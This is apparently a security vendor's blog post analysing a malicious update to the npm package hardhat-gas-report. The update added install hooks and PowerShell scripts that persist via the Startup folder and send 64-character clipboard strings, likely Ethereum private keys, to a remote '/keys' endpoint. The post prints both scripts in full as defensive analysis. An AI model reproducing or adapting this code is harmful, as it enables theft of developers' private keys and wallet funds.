Dormant npm Package Update Targets Ethereum Private Keys

Dormant npm Package Update Targets Ethereum Private Keys

On the afternoon of September 1, 2023 Phylum's automated risk detection platform flagged two new publications of the https://app.phylum.io/package/npm/hardhat-gas-report/1.1.17 package. It turns out these updates included a stealthy clipboard monitor with a persistence mechanism attempting to exfiltrate Ethereum private keys to a remote server. This attack is particularly interesting, however, because this package was benign and untouched for 8 months before receiving the malicious update. Join us as we look at this attack in more detail!

--cta--

Understanding the Package

"hardhat-gas-report" is a plugin designed for the Ethereum development framework Hardhat. This plugin is an integration of eth-gas-reporter, offering a Mocha reporter for Ethereum test suites. Its primary function is to provide insights into gas usage, method calls, deployments, and currency costs associated with Ethereum smart contract development.

Timeline of Events

The package "hardhat-gas-report" had been available on npm since January 6, 2023. For nearly 8 months, it remained seemingly benign, with no updates. On September 1, 2023, two updates were published in rapid succession.

A benign version of this package was published 8 months ago. September 1, 2023 a new version was released containing malware.

Version 1.1.17 (Published at 18:42)

The initial update, version 1.1.17, introduced a new file called src/index.js. It’s interesting to note that there already existed the original index.js at dist/src/index.js. This new file contained a simple JavaScript function named "startFunction." The function's purpose was merely to log a message, indicating that the project had started.

function startFunction() {
    console.log("Project started! Your function is running.");
    // Your code here
}
module.exports = startFunction;

What raised suspicion, however, was the inclusion of new pre and postinstall hooks in the package.json file. These hooks executed the "startFunction" during the installation process, even though it seemingly had no direct relevance to the package's primary functionality.

Version 1.1.18 (Published at 19:13)

A mere 31 minutes after the first update, version 1.1.18 was released, bringing with it significant changes. First, a new file called src/runner.ps1 was introduced and secondly, the package.json file hooks were both modified once again, this time calling PowerShell to run the newly introduced src/runner.ps1 script.

In the runner.ps1 script, the true intentions of this update are exposed. The script consists of two parts: one is intended to create a batch file (system.bat), and the other is intended to create a PowerShell script (NewFile.ps1). Both are stored in the Windows Start Menu's Startup folder and Programs folder, respectively, within the user's home directory.

Let’s take a look at the system.bat first.

$path = "$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat"

$content = "@echo off`r`npowershell -ExecutionPolicy Bypass -File `"$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\NewFile.ps1`""
Set-Content -Path $path -Value $content
  1. It first sets a variable $path for the location of system.bat in the user's Startup folder. Files in this directory are automatically executed when the user logs in.
  2. It then creates the content of the system.bat file, which includes an echo off command to suppress command-line output, and a PowerShell command to run NewFile.ps1.
  3. It writes this content into system.bat using Set-Content.

Now let’s turn to the content of NewFile.ps1.

$filePath = "C:\Users\An\Desktop\Clipboard.txt"
$uri = "https://test-lake-delta-49.vercel.app/keys"
$maxLength = 64

while ($true) {
    $clipboard = Get-Clipboard
    Start-Sleep -Seconds 1

    if($clipboard.Length -eq $maxLength -and $clipboard -notmatch "\s"){
        Write-Output "The clipboard contains valid text."
        $message = @{
            key = $clipboard
        }
    
        $json = $message | ConvertTo-Json
        $response = Invoke-RestMethod -Uri $uri -Method Post -Body $json -ContentType "application/json"
    
        if ($response.status -eq "success") {
            Write-Host "Message posted successfully!"
        } else {
            Write-Host "An error occurred while posting the message."
        }
    } else {
        Write-Output "The clipboard does not contain valid text."
    }

}
  1. A second $path variable points to the location of NewFile.ps1.
  2. The $content variable holds the actual script, which does the following:
    • Sets a $filePath variable (commented out, not used).
    • Sets a $uri variable for a URL. This URL seems to be a service that will be sent data.
    • Sets a $maxLength variable for checking clipboard length.
    • Enters an infinite loop (while($true)) that:
      • Checks the content of the clipboard using Get-Clipboard.
      • Sleeps for one second (Start-Sleep -Seconds 1).
      • Verifies if the clipboard data has a specific length ($maxLength which is 64 characters) and does not contain whitespace.
      • If it matches these conditions, it sends this data as JSON to the specified URL ($uri).
  3. Finally, it writes the content into NewFile.ps1 using Set-Content.

The Malicious Intent

The attacker's URL (https://test-lake-delta-49.vercel.app/keys) is highly revealing about their intentions. The use of the "/keys" endpoint suggests that cryptographic keys are likely the target of this malicious operation. Coupled with the fact that the script is explicitly looking to capture 64-character-long strings without spaces, it becomes increasingly plausible that the attacker is after Ethereum private keys, which are indeed 64 characters long when represented as hexadecimal strings. This targeted approach indicates a sophisticated understanding of cryptocurrency security and suggests that the attacker is aiming to capture and exfiltrate sensitive cryptographic keys for unauthorized access to Ethereum wallets or other secured digital assets.

Conclusion

A seemingly benign NPM package lay dormant for 8 months before suddenly receiving two quick updates that turned it into a malicious tool designed to steal Ethereum private keys. These updates equipped the package with code that writes startup scripts to a user's home directory, thereby establishing persistence on the system. Once installed, the malware continuously monitors the clipboard for 64-character strings, the exact length of Ethereum private keys. If you were a long-time user of this package, a routine version update might easily slip under the radar without arousing any suspicion. This sudden and stealthy transformation from a dormant package to a stealthy crypto private key sealer underscores the evolving risks in open-source software and the pressing need for vigilant security measures.

Phylum Research Team

Phylum Research Team

Hackers, Data Scientists, and Engineers responsible for the identification and takedown of software supply chain attackers.